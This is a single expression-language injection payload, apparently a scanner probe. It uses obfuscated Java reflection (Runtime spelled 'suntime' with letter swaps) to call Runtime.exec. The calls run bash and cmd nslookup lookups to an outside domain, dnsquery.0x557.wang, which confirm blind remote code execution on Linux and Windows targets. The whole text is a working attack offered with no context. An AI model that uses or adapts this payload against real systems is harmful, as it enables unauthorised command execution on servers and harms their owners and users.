''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')).getMethod('getsuntime'.replace('s','R')).invoke(null).exec("bash -c 'nslookup cvsvgrcw$((2497*2755)).dnsquery.0x557.wang'")+''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')).getMethod('getsuntime'.replace('s','R')).invoke(null).exec("cmd /c nslookup cvsvgrcw%CMDEXTVERSION%.dnsquery.0x557.wang")